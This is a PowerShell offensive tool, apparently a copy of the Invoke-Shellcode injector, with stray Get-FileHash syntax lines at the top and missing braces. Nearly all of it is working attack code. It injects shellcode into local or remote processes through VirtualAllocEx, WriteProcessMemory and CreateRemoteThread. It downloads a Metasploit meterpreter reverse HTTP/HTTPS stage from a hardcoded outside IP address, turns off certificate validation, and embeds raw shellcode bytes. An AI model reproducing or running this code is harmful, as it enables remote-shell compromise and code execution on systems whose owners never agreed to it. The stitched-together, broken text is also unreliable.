function Invoke-Shellcode
Parameter Set: Path
Get-FileHash [-Path] <String[]> [-Algorithm <String> {SHA1 | SHA256 | SHA384 | SHA512 | MACTripleDES | MD5 | RIPEMD160} ] [ <CommonParameters>]
Parameter Set: LiteralPath
Get-FileHash -LiteralPath <String[]> [-Algorithm <String> {SHA1 | SHA256 | SHA384 | SHA512 | MACTripleDES | MD5 | RIPEMD160} ] [ <CommonParameters>]
Parameter Set: Stream
Get-FileHash -InputStream <System.IO.Stream> [ <CommonParameters>]
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '167.71.98.165',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Legacy = $False,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[Switch]
$Proxy = $False,
[Switch]
$Force = $False
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
if ( $PSBoundParameters['ProcessID'] )
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
function Local:Get-DelegateType
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
function Local:Get-ProcAddress
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
function Local:Inject-LocalShellcode
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
else
$64bitCPU = $false
if ([IntPtr]::Size -eq 4)
$PowerShell32bit = $true
else
$PowerShell32bit = $false
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation.
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
}
}
if ($Legacy)
{
# Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
} else {
# Generate a URI that passes the test
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
$SumTest = $False
while ($SumTest -eq $False)
{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
$RequestUri = -join $GeneratedUri
$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
}
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
if ($Proxy)
{
$WebProxyObject = New-Object System.Net.WebProxy
$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
# if there is no proxy set, then continue without it
if ($ProxyAddress)
{
$WebProxyObject.Address = $ProxyAddress
$WebProxyObject.UseDefaultCredentials = $True
$WebClientObject.Proxy = $WebProxyObject
}
}
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
elseif ($PSBoundParameters['Shellcode'])
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
else
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
if ( $PSBoundParameters['ProcessID'] )
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
else
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}